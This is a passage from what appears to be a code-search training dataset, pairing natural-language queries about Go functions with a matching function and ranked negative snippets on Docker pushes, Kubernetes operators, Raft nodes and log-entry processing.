dockercfg.NewHelper().GetDockerAuth(\\n\\t\\t\\ttag,\\n\\t\\t\\tdockercfg.PushAuthType,\\n\\t\\t)\\n\\t\\tif authPresent {\\n\\t\\t\\tglog.Infof(\\\"Using provided push secret for pushing %s image\\\", tag)\\n\\t\\t} else {\\n\\t\\t\\tglog.Infof(\\\"No push secret provided\\\")\\n\\t\\t}\\n\\t\\tglog.Infof(\\\"Pushing %s image ...\\\", tag)\\n\\t\\tif err := pushImage(s.dockerClient, tag, pushAuthConfig); err != nil {\\n\\t\\t\\t// write extended error message to assist in problem resolution\\n\\t\\t\\tmsg := fmt.Sprintf(\\\"Failed to push image. Response from registry is: %v\\\", err)\\n\\t\\t\\tif authPresent {\\n\\t\\t\\t\\tglog.Infof(\\\"Registry server Address: %s\\\", pushAuthConfig.ServerAddress)\\n\\t\\t\\t\\tglog.Infof(\\\"Registry server User Name: %s\\\", pushAuthConfig.Username)\\n\\t\\t\\t\\tglog.Infof(\\\"Registry server Email: %s\\\", pushAuthConfig.Email)\\n\\t\\t\\t\\tpasswordPresent := \\\"<>\\\"\\n\\t\\t\\t\\tif len(pushAuthConfig.Password) > 0 {\\n\\t\\t\\t\\t\\tpasswordPresent = \\\"<>\\\"\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tglog.Infof(\\\"Registry server Password: %s\\\", passwordPresent)\\n\\t\\t\\t}\\n\\t\\t\\treturn errors.New(msg)\\n\\t\\t}\\n\\t\\tglog.Infof(\\\"Successfully pushed %s\\\", tag)\\n\\t\\tglog.Flush()\\n\\t}\\n\\treturn nil\\n}\",\n \"func buildStack(op string) (result *Stack) {\\n\\t// initialize result\\n\\tresult = &Stack{[]float64{}, 0}\\n\\n\\t// \\\"bracketize\\\":\\n\\t// a*b*c -> (a*b)*c\\n\\ti := -1\\n\\tfor i != 0 {\\n\\t\\ti = getOperandIndex(op)\\n\\n\\t\\tleftVal := suffixValueRegex.FindString(op[:i])\\n\\t\\trightVal := prefixValueRegex.FindString(op[i+1:])\\n\\n\\t\\tif len(leftVal) > 0 && len(rightVal) > 0 {\\n\\t\\t\\t// append brackets\\n\\t\\t\\top = op[:i-len(leftVal)] + \\\"(\\\" +\\n\\t\\t\\t\\top[i-len(leftVal):i+len(rightVal)+1] + \\\")\\\" +\\n\\t\\t\\t\\top[i+len(rightVal)+1:]\\n\\t\\t}\\n\\t}\\n\\n\\t// get rid of outer brackets\\n\\t// while the first bracket matches the last index\\n\\tfor getMatchingBracketIndex(op, 0) == len(op)-1 && len(op) > 2 {\\n\\t\\top = op[1 : len(op)-1]\\n\\t}\\n\\n\\t// evaluate operation\\n\\ti = getOperandIndex(op)\\n\\n\\tleftVal := suffixValueRegex.FindString(op[:i])\\n\\trightVal := prefixValueRegex.FindString(op[i+1:])\\n\\n\\tresult.Push(evalValue(leftVal))\\n\\tresult.Push(evalValue(rightVal))\\n\\n\\tresult.PerformOperation([]rune(op)[i])\\n\\n\\treturn\\n}\",\n \"func New(c Config, storageFuns ...qmstorage.StorageTypeNewFunc) (*Operator, error) {\\n\\tcfg, err := newClusterConfig(c.Host, c.Kubeconfig, c.TLSInsecure, &c.TLSConfig)\\n\\tif err != nil {\\n\\t\\treturn nil, logger.Err(err)\\n\\t}\\n\\tclient, err := kubernetes.NewForConfig(cfg)\\n\\tif err != nil {\\n\\t\\treturn nil, logger.Err(err)\\n\\t}\\n\\n\\trclient, err := NewQuartermasterRESTClient(*cfg)\\n\\tif err != nil {\\n\\t\\treturn nil, logger.Err(err)\\n\\t}\\n\\n\\t// Initialize storage plugins\\n\\tstorageSystems := make(map[spec.StorageTypeIdentifier]qmstorage.StorageType)\\n\\tfor _, newStorage := range storageFuns {\\n\\n\\t\\t// New\\n\\t\\tst, err := newStorage(client, rclient)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\t// Save object\\n\\t\\tstorageSystems[st.Type()] = st\\n\\n\\t\\tlogger.Info(\\\"storage driver %v loaded\\\", st.Type())\\n\\t}\\n\\n\\treturn &Operator{\\n\\t\\tkclient: client,\\n\\t\\trclient: rclient,\\n\\t\\tqueue: newQueue(200),\\n\\t\\thost: cfg.Host,\\n\\t\\tstorageSystems: storageSystems,\\n\\t}, nil\\n}\",\n \"func construct(ctx context.Context, req *pulumirpc.ConstructRequest, engineConn *grpc.ClientConn,\\n\\tconstructF constructFunc) (*pulumirpc.ConstructResponse, error) {\\n\\n\\t// Configure the RunInfo.\\n\\trunInfo := RunInfo{\\n\\t\\tProject: req.GetProject(),\\n\\t\\tStack: req.GetStack(),\\n\\t\\tConfig: req.GetConfig(),\\n\\t\\tConfigSecretKeys: req.GetConfigSecretKeys(),\\n\\t\\tParallel: int(req.GetParallel()),\\n\\t\\tDryRun: req.GetDryRun(),\\n\\t\\tMonitorAddr: req.GetMonitorEndpoint(),\\n\\t\\tengineConn: engineConn,\\n\\t}\\n\\tpulumiCtx, err := NewContext(ctx, runInfo)\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrap(err, \\\"constructing run context\\\")\\n\\t}\\n\\n\\t// Deserialize the inputs and apply appropriate dependencies.\\n\\tinputDependencies := req.GetInputDependencies()\\n\\tdeserializedInputs, err := plugin.UnmarshalProperties(\\n\\t\\treq.GetInputs(),\\n\\t\\tplugin.MarshalOptions{KeepSecrets: true, KeepResources: true, KeepUnknowns: req.GetDryRun()},\\n\\t)\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrap(err, \\\"unmarshaling inputs\\\")\\n\\t}\\n\\tinputs := make(map[string]interface{}, len(deserializedInputs))\\n\\tfor key, value := range deserializedInputs {\\n\\t\\tk := string(key)\\n\\t\\tvar deps []Resource\\n\\t\\tif inputDeps, ok := inputDependencies[k]; ok {\\n\\t\\t\\tdeps = make([]Resource, len(inputDeps.GetUrns()))\\n\\t\\t\\tfor i, depURN := range inputDeps.GetUrns() {\\n\\t\\t\\t\\tdeps[i] = pulumiCtx.newDependencyResource(URN(depURN))\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tinputs[k] = &constructInput{\\n\\t\\t\\tvalue: value,\\n\\t\\t\\tdeps: deps,\\n\\t\\t}\\n\\t}\\n\\n\\t// Rebuild the resource options.\\n\\taliases := make([]Alias, len(req.GetAliases()))\\n\\tfor i, urn := range req.GetAliases() {\\n\\t\\taliases[i] = Alias{URN: URN(urn)}\\n\\t}\\n\\tdependencyURNs := urnSet{}\\n\\tfor _, urn := range req.GetDependencies() {\\n\\t\\tdependencyURNs.add(URN(urn))\\n\\t}\\n\\tproviders := make(map[string]ProviderResource, len(req.GetProviders()))\\n\\tfor pkg, ref := range req.GetProviders() {\\n\\t\\tresource, err := createProviderResource(pulumiCtx, ref)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tproviders[pkg] = resource\\n\\t}\\n\\tvar parent Resource\\n\\tif req.GetParent() != \\\"\\\" {\\n\\t\\tparent = pulumiCtx.newDependencyResource(URN(req.GetParent()))\\n\\t}\\n\\topts := resourceOption(func(ro *resourceOptions) {\\n\\t\\tro.Aliases = aliases\\n\\t\\tro.DependsOn = []func(ctx context.Context) (urnSet, error){\\n\\t\\t\\tfunc(ctx context.Context) (urnSet, error) {\\n\\t\\t\\t\\treturn dependencyURNs, nil\\n\\t\\t\\t},\\n\\t\\t}\\n\\t\\tro.Protect = req.GetProtect()\\n\\t\\tro.Providers = providers\\n\\t\\tro.Parent = parent\\n\\t})\\n\\n\\turn, state, err := constructF(pulumiCtx, req.GetType(), req.GetName(), inputs, opts)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// Wait for async work to finish.\\n\\tif err = pulumiCtx.wait(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\trpcURN, _, _, err := urn.ToURNOutput().awaitURN(ctx)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// Serialize all state properties, first by awaiting them, and then marshaling them to the requisite gRPC values.\\n\\tresolvedProps, propertyDeps, _, err := marshalInputs(state)\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrap(err, \\\"marshaling properties\\\")\\n\\t}\\n\\n\\t// Marshal all properties for the RPC call.\\n\\tkeepUnknowns := req.GetDryRun()\\n\\trpcProps, err := plugin.MarshalProperties(\\n\\t\\tresolvedProps,\\n\\t\\tplugin.MarshalOptions{KeepSecrets: true, KeepUnknowns: keepUnknowns, KeepResources: pulumiCtx.keepResources})\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrap(err, \\\"marshaling properties\\\")\\n\\t}\\n\\n\\t// Convert the property dependencies map for RPC and remove duplicates.\\n\\trpcPropertyDeps := make(map[string]*pulumirpc.ConstructResponse_PropertyDependencies)\\n\\tfor k, deps := range propertyDeps {\\n\\t\\tsort.Slice(deps, func(i, j int) bool { return deps[i] < deps[j] })\\n\\n\\t\\turns := make([]string, 0, len(deps))\\n\\t\\tfor i, d := range deps {\\n\\t\\t\\tif i > 0 && urns[i-1] == string(d) {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\turns = append(urns, string(d))\\n\\t\\t}\\n\\n\\t\\trpcPropertyDeps[k] = &pulumirpc.ConstructResponse_PropertyDependencies{\\n\\t\\t\\tUrns: urns,\\n\\t\\t}\\n\\t}\\n\\n\\treturn &pulumirpc.ConstructResponse{\\n\\t\\tUrn: string(rpcURN),\\n\\t\\tState: rpcProps,\\n\\t\\tStateDependencies: rpcPropertyDeps,\\n\\t}, nil\\n}\",\n \"func (self *RRSMNode) Build(addr string, initState RRSMState, configuration *RRSMConfig,\\n\\tRPCListenPort string, electionTimeout time.Duration, heartbeatInterval time.Duration) error {\\n\\tself.InitState = initState\\n\\tself.CurrentState = initState\\n\\tself.nodes = make(map[string]*rpc.RPCClient)\\n\\tself.addr = addr\\n\\n\\t// init timer\\n\\tself.electionTimeoutTicker = nil\\n\\tself.electionTimeout = electionTimeout\\n\\tself.heartbeatTimeTicker = nil\\n\\tself.heartbeatInterval = heartbeatInterval\\n\\n\\t// become a follower at the beginning\\n\\tself.character = RaftFOLLOWER\\n\\tself.currentTerm = uint64(0)\\n\\tself.haveVoted = false\\n\\n\\t// init channels\\n\\tself.newTermChan = make(chan int, 1)\\n\\tself.accessLeaderChan = make(chan int, 1)\\n\\n\\t// init lock\\n\\tself.termChangingLock = &sync.Mutex{}\\n\\tself.leaderChangingLock = &sync.Mutex{}\\n\\n\\t// init node configuration\\n\\tif configuration == nil {\\n\\t\\treturn fmt.Errorf(\\\"configuration is needed!\\\")\\n\\t}\\n\\tif len(configuration.Nodes) <= 0 {\\n\\t\\treturn fmt.Errorf(\\\"config err: amounts of nodes needed to be a positive number!\\\")\\n\\t}\\n\\tself.config = *configuration\\n\\tself.amountsOfNodes = uint32(len(self.config.Nodes))\\n\\n\\t// register rpc service\\n\\traftRPC := RaftRPC{\\n\\t\\tnode: self,\\n\\t}\\n\\terr := rpc.RPCRegister(RPCListenPort, &raftRPC)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// build rpc connection with other nodes\\n\\tfor _, node := range self.config.Nodes {\\n\\t\\tif node != addr {\\n\\t\\t\\tclient, err := rpc.RPCConnect(node)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t// need to connect with all the nodes at the period of building\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tself.nodes[node] = client\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (b *Builder) build(indexes []uint32) (*Condition, error) {\\n\\telems := make([]elementary, len(indexes))\\n\\tfor i, elemIdx := range indexes {\\n\\t\\tvar err error\\n\\t\\tif elems[i], err = b.elementary(elemIdx); err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t}\\n\\treturn &Condition{conds: elems}, nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.67890686","0.675729","0.6552596","0.62574846","0.6251614","0.5965078","0.56590545","0.5636119","0.55867654","0.5464503","0.54049456","0.5382124","0.5356407","0.52260363","0.5212614","0.5200235","0.5198311","0.5180501","0.51741576","0.5123192","0.5118552","0.50887775","0.50477713","0.5043876","0.5029759","0.4995956","0.49899223","0.4982867","0.49569562","0.4945067","0.48850018","0.48574743","0.4855921","0.48453346","0.48449725","0.48224187","0.48208922","0.4812112","0.47920153","0.47851965","0.4781098","0.4772445","0.47692585","0.47492462","0.47343206","0.47208208","0.4704118","0.47023317","0.46980822","0.46944556","0.46924344","0.46912348","0.46778402","0.46730214","0.46701312","0.46673602","0.46615642","0.46484962","0.46439195","0.4613789","0.46106535","0.46024984","0.46018648","0.45999297","0.4589715","0.45818162","0.45652112","0.45484102","0.4545197","0.45371774","0.4536263","0.45333612","0.45324725","0.4532046","0.45222753","0.45211637","0.45093822","0.4509303","0.4502691","0.44843882","0.4473535","0.4466785","0.44616735","0.44612405","0.44442576","0.44428355","0.44359422","0.4435191","0.4434761","0.44340965","0.44291085","0.44289568","0.44275147","0.44247156","0.44236597","0.44167978","0.4410633","0.43977985","0.43922198","0.4390813"],"string":"[\n \"0.67890686\",\n \"0.675729\",\n \"0.6552596\",\n \"0.62574846\",\n \"0.6251614\",\n \"0.5965078\",\n \"0.56590545\",\n \"0.5636119\",\n \"0.55867654\",\n \"0.5464503\",\n \"0.54049456\",\n \"0.5382124\",\n \"0.5356407\",\n \"0.52260363\",\n \"0.5212614\",\n \"0.5200235\",\n \"0.5198311\",\n \"0.5180501\",\n \"0.51741576\",\n \"0.5123192\",\n \"0.5118552\",\n \"0.50887775\",\n \"0.50477713\",\n \"0.5043876\",\n \"0.5029759\",\n \"0.4995956\",\n \"0.49899223\",\n \"0.4982867\",\n \"0.49569562\",\n \"0.4945067\",\n \"0.48850018\",\n \"0.48574743\",\n \"0.4855921\",\n \"0.48453346\",\n \"0.48449725\",\n \"0.48224187\",\n \"0.48208922\",\n \"0.4812112\",\n \"0.47920153\",\n \"0.47851965\",\n \"0.4781098\",\n \"0.4772445\",\n \"0.47692585\",\n \"0.47492462\",\n \"0.47343206\",\n \"0.47208208\",\n \"0.4704118\",\n \"0.47023317\",\n \"0.46980822\",\n \"0.46944556\",\n \"0.46924344\",\n \"0.46912348\",\n \"0.46778402\",\n \"0.46730214\",\n \"0.46701312\",\n \"0.46673602\",\n \"0.46615642\",\n \"0.46484962\",\n \"0.46439195\",\n \"0.4613789\",\n \"0.46106535\",\n \"0.46024984\",\n \"0.46018648\",\n \"0.45999297\",\n \"0.4589715\",\n \"0.45818162\",\n \"0.45652112\",\n \"0.45484102\",\n \"0.4545197\",\n \"0.45371774\",\n \"0.4536263\",\n \"0.45333612\",\n \"0.45324725\",\n \"0.4532046\",\n \"0.45222753\",\n \"0.45211637\",\n \"0.45093822\",\n \"0.4509303\",\n \"0.4502691\",\n \"0.44843882\",\n \"0.4473535\",\n \"0.4466785\",\n \"0.44616735\",\n \"0.44612405\",\n \"0.44442576\",\n \"0.44428355\",\n \"0.44359422\",\n \"0.4435191\",\n \"0.4434761\",\n \"0.44340965\",\n \"0.44291085\",\n \"0.44289568\",\n \"0.44275147\",\n \"0.44247156\",\n \"0.44236597\",\n \"0.44167978\",\n \"0.4410633\",\n \"0.43977985\",\n \"0.43922198\",\n \"0.4390813\"\n]"},"document_score":{"kind":"string","value":"0.7637313"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106160,"cells":{"query":{"kind":"string","value":"Process will process an entry with a restructure transformation."},"document":{"kind":"string","value":"func (p *RestructureOperator) Process(ctx context.Context, entry *entry.Entry) error {\n\treturn p.ProcessWith(ctx, entry, p.Transform)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (p *RestructureOperator) Transform(entry *entry.Entry) error {\n\tfor _, op := range p.ops {\n\t\terr := op.Apply(entry)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func processEntry(theReader *dwarf.Reader, depth int, theEntry *dwarf.Entry) {\n\n\n\n\t// Process the entry\n\tswitch theEntry.Tag {\n\t\tcase dwarf.TagCompileUnit:\tprocessCompileUnit(theReader, depth, theEntry);\n\t\tcase dwarf.TagSubprogram:\tprocessSubprogram( theReader, depth, theEntry);\n\t\tdefault:\n\t\t\tif (theEntry.Children) {\n\t\t\t\tprocessChildren(theReader, depth+1, true);\n\t\t\t}\n\t\t}\n}","func (r *Parser) Process(ctx context.Context, e *entry.Entry) error {\n\tparse := r.parse\n\n\t// If we have a headerAttribute set we need to dynamically generate our parser function\n\tif r.headerAttribute != \"\" {\n\t\th, ok := e.Attributes[r.headerAttribute]\n\t\tif !ok {\n\t\t\terr := fmt.Errorf(\"failed to read dynamic header attribute %s\", r.headerAttribute)\n\t\t\tr.Error(err)\n\t\t\treturn err\n\t\t}\n\t\theaderString, ok := h.(string)\n\t\tif !ok {\n\t\t\terr := fmt.Errorf(\"header is expected to be a string but is %T\", h)\n\t\t\tr.Error(err)\n\t\t\treturn err\n\t\t}\n\t\theaders := strings.Split(headerString, string([]rune{r.headerDelimiter}))\n\t\tparse = generateParseFunc(headers, r.fieldDelimiter, r.lazyQuotes, r.ignoreQuotes)\n\t}\n\n\treturn r.ParserOperator.ProcessWith(ctx, e, parse)\n}","func (p *Pipeline) Process(labels model.LabelSet, extracted map[string]interface{}, ts *time.Time, entry *string) {\n\tstart := time.Now()\n\n\t// Initialize the extracted map with the initial labels (ie. \"filename\"),\n\t// so that stages can operate on initial labels too\n\tfor labelName, labelValue := range labels {\n\t\textracted[string(labelName)] = string(labelValue)\n\t}\n\n\tfor i, stage := range p.stages {\n\t\tif Debug {\n\t\t\tlevel.Debug(p.logger).Log(\"msg\", \"processing pipeline\", \"stage\", i, \"name\", stage.Name(), \"labels\", labels, \"time\", ts, \"entry\", entry)\n\t\t}\n\t\tstage.Process(labels, extracted, ts, entry)\n\t}\n\tdur := time.Since(start).Seconds()\n\tif Debug {\n\t\tlevel.Debug(p.logger).Log(\"msg\", \"finished processing log line\", \"labels\", labels, \"time\", ts, \"entry\", entry, \"duration_s\", dur)\n\t}\n\tif p.jobName != nil {\n\t\tp.plDuration.WithLabelValues(*p.jobName).Observe(dur)\n\t}\n}","func (u *Parser) Process(ctx context.Context, entry *entry.Entry) error {\n\treturn u.ParserOperator.ProcessWith(ctx, entry, u.parse)\n}","func Process(v interface{}) error {\n\tif len(os.Args) == 1 {\n\t\treturn nil\n\t}\n\n\tif os.Args[1] == \"-h\" || os.Args[1] == \"--help\" {\n\t\tfmt.Print(display(os.Args[0], v))\n\t\treturn ErrHelp\n\t}\n\n\targs, err := parse(\"\", v)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := apply(os.Args, args); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func (o *StdoutOperator) Process(ctx context.Context, entry *entry.Entry) error {\n\to.mux.Lock()\n\terr := o.encoder.Encode(entry)\n\tif err != nil {\n\t\to.mux.Unlock()\n\t\to.Errorf(\"Failed to process entry: %s, $s\", err, entry.Record)\n\t\treturn err\n\t}\n\to.mux.Unlock()\n\treturn nil\n}","func (h *Handler) Process(ctx context.Context, object *unstructured.Unstructured) error {\n\th.mu.Lock()\n\tdefer h.mu.Unlock()\n\n\taccessor, err := meta.Accessor(object)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tuid := accessor.GetUID()\n\th.nodes[uid] = object\n\n\treturn nil\n}","func (_this *RaftNode) Process(ctx context.Context, m raftpb.Message) error {\n\treturn _this.node.Step(ctx, m)\n}","func (r *CSVParser) Process(ctx context.Context, entry *entry.Entry) error {\n\treturn r.ParserOperator.ProcessWith(ctx, entry, r.parse)\n}","func (p Parser) Process(ctx context.Context, s string, data templates.ContainerData) (labels.Modifiers, error) {\n\t// make sure the input is valid before further processing\n\tif !validatorRegex.Match([]byte(s)) {\n\t\treturn nil, fmt.Errorf(invalidFormatErrorF, s)\n\t}\n\tlogrus.WithContext(ctx).Debugf(\"Processing %s\", s)\n\n\t// one template call at a time\n\tparts := strings.Split(s, \"|\")\n\tvar modifiers labels.Modifiers\n\tfor _, part := range parts {\n\t\tlogrus.WithContext(ctx).Debugf(\"Processing %s\", part)\n\t\t// Parse out arguments and template name\n\t\ttemplate, arguments, err := parse(part)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"failed to parse \\\"%s\\\"\", part)\n\t\t}\n\n\t\t// Parse the template for modifiers\n\t\tmodifier, err := p.templateDirectory.GetModifiers(ctx, template, templates.Data{\n\t\t\tContainerData: data,\n\t\t\tArguments: arguments,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"failed to parse template %s\", template)\n\t\t}\n\t\tmodifiers = append(modifiers, modifier)\n\t}\n\treturn modifiers, nil\n}","func (s *Flattener) HandleProcess(hdr *sfgo.SFHeader, cont *sfgo.Container, proc *sfgo.Process) error {\n\treturn nil\n}","func processLine(line string, re *regexp.Regexp, process *process, stateName string,\n\tmachineState *statemachine.MachineState, processCommand statemachine.ProcessCommand) {\n\n\tsubmatch := re.FindStringSubmatch(line)\n\tnames := re.SubexpNames()\n\n\t// len of submatch and names should be same\n\tif len(submatch) == len(names) {\n\t\t// transform result to map\n\t\tresult := map[string]interface{}{}\n\t\tfor index, name := range names {\n\t\t\tif existing, ok := result[name]; ok {\n\t\t\t\t// is result[name] already a slice?\n\t\t\t\tif _, ok := result[name].([]string); ok {\n\t\t\t\t\tresult[name] = append(result[name].([]string), submatch[index])\n\t\t\t\t} else {\n\t\t\t\t\tresult[name] = []string{fmt.Sprintf(\"%v\", existing), submatch[index]}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tresult[name] = submatch[index]\n\t\t\t}\n\t\t}\n\n\t\t// add all founded fields to record\n\t\tfor index, val := range process.ast.Vals {\n\t\t\tif field, ok := result[val.Variable]; ok {\n\t\t\t\tif val.List && reflect.TypeOf(field).Kind() != reflect.Slice {\n\t\t\t\t\tfield = []string{fmt.Sprintf(\"%v\", field)}\n\t\t\t\t}\n\t\t\t\tmachineState.SetRowField(index, field)\n\t\t\t}\n\t\t}\n\t}\n\n\tif processCommand.Command.Clearall {\n\t\tfor index := range process.ast.Vals {\n\t\t\tmachineState.SetRowField(index, \"\")\n\t\t}\n\t}\n\n\tif processCommand.Command.Clear {\n\t\tfor index, val := range process.ast.Vals {\n\t\t\tif !val.Filldown {\n\t\t\t\tmachineState.SetRowField(index, \"\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// if processCommand has Record, add tempRecord to Record\n\tif processCommand.Command.Record {\n\t\tConfirmTmpRecord(process, machineState)\n\t}\n\n}","func (f *FakeOutput) Process(_ context.Context, entry *entry.Entry) error {\n\tf.Received <- entry\n\treturn nil\n}","func (d dft) Process(appMeta helmify.AppMetadata, obj *unstructured.Unstructured) (bool, helmify.Template, error) {\n\tif obj.GroupVersionKind() == nsGVK {\n\t\t// Skip namespaces from processing because namespace will be handled by Helm.\n\t\treturn true, nil, nil\n\t}\n\tlogrus.WithFields(logrus.Fields{\n\t\t\"ApiVersion\": obj.GetAPIVersion(),\n\t\t\"Kind\": obj.GetKind(),\n\t\t\"Name\": obj.GetName(),\n\t}).Warn(\"Unsupported resource: using default processor.\")\n\tname := appMeta.TrimName(obj.GetName())\n\n\tmeta, err := ProcessObjMeta(appMeta, obj)\n\tif err != nil {\n\t\treturn true, nil, err\n\t}\n\tdelete(obj.Object, \"apiVersion\")\n\tdelete(obj.Object, \"kind\")\n\tdelete(obj.Object, \"metadata\")\n\n\tbody, err := yamlformat.Marshal(obj.Object, 0)\n\tif err != nil {\n\t\treturn true, nil, err\n\t}\n\treturn true, &defaultResult{\n\t\tdata: []byte(meta + \"\\n\" + body),\n\t\tname: name,\n\t}, nil\n}","func (b *Base) Process() error {\n\tif b.Exchange == \"\" {\n\t\treturn errExchangeNameUnset\n\t}\n\n\tif b.Pair.IsEmpty() {\n\t\treturn errPairNotSet\n\t}\n\n\tif b.Asset.String() == \"\" {\n\t\treturn errAssetTypeNotSet\n\t}\n\n\tif b.LastUpdated.IsZero() {\n\t\tb.LastUpdated = time.Now()\n\t}\n\n\tif err := b.Verify(); err != nil {\n\t\treturn err\n\t}\n\treturn service.Update(b)\n}","func Process(spec interface{}) error {\n\tvar el multierror.Errors\n\tres := map[string]interface{}{}\n\tfor _, fname := range conf.Settings.FileLocations {\n\t\tcontents, err := ioutil.ReadFile(fname)\n\t\tif err != nil {\n\t\t\tel = append(el, err)\n\t\t\tcontinue\n\t\t}\n\t\tjson.Unmarshal(contents, &res)\n\t}\n\n\tif err := merger.MapAndStruct(res, spec); err != nil {\n\t\tel = append(el, err)\n\t}\n\n\treturn el.Err()\n}","func (m *Module) Process(file pgs.File) {\n\t// check file option: FileSkip\n\tfileSkip := false\n\tm.must(file.Extension(redact.E_FileSkip, &fileSkip))\n\tif fileSkip {\n\t\treturn\n\t}\n\n\t// imports and their aliases\n\tpath2Alias, alias2Path := m.importPaths(file)\n\tnameWithAlias := func(n pgs.Entity) string {\n\t\timp := m.ctx.ImportPath(n).String()\n\t\tname := m.ctx.Name(n).String()\n\t\tif alias := path2Alias[imp]; alias != \"\" {\n\t\t\tname = alias + \".\" + name\n\t\t}\n\t\treturn name\n\t}\n\n\tdata := &ProtoFileData{\n\t\tSource: file.Name().String(),\n\t\tPackage: m.ctx.PackageName(file).String(),\n\t\tImports: alias2Path,\n\t\tReferences: m.references(file, nameWithAlias),\n\t\tServices: make([]*ServiceData, 0, len(file.Services())),\n\t\tMessages: make([]*MessageData, 0, len(file.AllMessages())),\n\t}\n\n\t// all services\n\tfor _, srv := range file.Services() {\n\t\tdata.Services = append(data.Services, m.processService(srv, nameWithAlias))\n\t}\n\n\t// all messages\n\tfor _, msg := range file.AllMessages() {\n\t\tdata.Messages = append(data.Messages, m.processMessage(msg, nameWithAlias, true))\n\t}\n\n\t// render file in the template\n\tname := m.ctx.OutputPath(file).SetExt(\".redact.go\")\n\tm.AddGeneratorTemplateFile(name.String(), m.tmpl, data)\n}","func (s *Processor) ProcessEntry(entry interfaces.IEBEntry, dblock interfaces.IDirectoryBlock) error {\n\tif len(entry.ExternalIDs()) == 0 {\n\t\treturn nil\n\t}\n\tswitch string(entry.ExternalIDs()[0]) {\n\tcase \"TwitterBank Chain\":\n\t\t// TODO: Remove this hack\n\t\tif len(entry.ExternalIDs()) == 3 {\n\t\t\treturn s.ProcessTwitterChain(entry, dblock)\n\t\t}\n\t\treturn s.ProcessTwitterEntry(entry, dblock)\n\tcase \"TwitterBank Record\":\n\t\treturn s.ProcessTwitterChain(entry, dblock)\n\t}\n\n\treturn nil\n}","func (args *Arguments) Process() {\n\targs.define()\n\targs.process()\n}","func (f LineProcessorFunc) Process(line []byte, metadata LineMetadata) (out []byte, err error) {\n\treturn f(line, metadata)\n}","func processFile(file *File) {\n\tapplyTransformers(file)\n\tanalyzeFile(file)\n}","func process() error {\n\tif err := processItems(); err != nil {\n\t\treturn err\n\t}\n\n\tif err := addConfigs(); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func (t *TransformerOperator) ProcessWith(ctx context.Context, entry *entry.Entry, transform TransformFunction) error {\n\t// Short circuit if the \"if\" condition does not match\n\tskip, err := t.Skip(ctx, entry)\n\tif err != nil {\n\t\treturn t.HandleEntryError(ctx, entry, err)\n\t}\n\tif skip {\n\t\tt.Write(ctx, entry)\n\t\treturn nil\n\t}\n\n\tif err := transform(entry); err != nil {\n\t\treturn t.HandleEntryError(ctx, entry, err)\n\t}\n\tt.Write(ctx, entry)\n\treturn nil\n}","func process(input, stage t) t {\n\treturn (t)(fmt.Sprintf(\"%s|%s\", input, stage))\n}","func (p *intermediateTask) Process(ctx context.Context, req *pb.TaskRequest) error {\n\tphysicalPlan := models.PhysicalPlan{}\n\tif err := encoding.JSONUnmarshal(req.PhysicalPlan, &physicalPlan); err != nil {\n\t\treturn errUnmarshalPlan\n\t}\n\tpayload := req.Payload\n\tquery := &stmt.Query{}\n\tif err := encoding.JSONUnmarshal(payload, query); err != nil {\n\t\treturn errUnmarshalQuery\n\t}\n\tgroupAgg := aggregation.NewGroupingAggregator(\n\t\tquery.Interval,\n\t\tquery.TimeRange,\n\t\tbuildAggregatorSpecs(query.FieldNames))\n\ttaskSubmitted := false\n\tfor _, intermediate := range physicalPlan.Intermediates {\n\t\tif intermediate.Indicator == p.curNodeID {\n\t\t\ttaskID := p.taskManager.AllocTaskID()\n\t\t\t//TODO set task id\n\t\t\ttaskCtx := newTaskContext(taskID, IntermediateTask, req.ParentTaskID, intermediate.Parent,\n\t\t\t\tintermediate.NumOfTask, newResultMerger(ctx, groupAgg, nil))\n\t\t\tp.taskManager.Submit(taskCtx)\n\t\t\ttaskSubmitted = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif !taskSubmitted {\n\t\treturn errWrongRequest\n\t}\n\n\tif err := p.sendLeafTasks(physicalPlan, req); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (f *Flattener) ProcessMapEntry(entry interface{}) bool {\n\n\tnewValue, err := f.flatten(entry.(*mapEntry))\n\tif err != nil {\n\t\tif logh.ErrorEnabled {\n\t\t\tf.loggers.Error().Msg(err.Error())\n\t\t}\n\n\t\treturn false\n\t}\n\n\titem, err := f.transport.FlattenerPointToDataChannelItem(newValue)\n\tif err != nil {\n\t\tif logh.ErrorEnabled 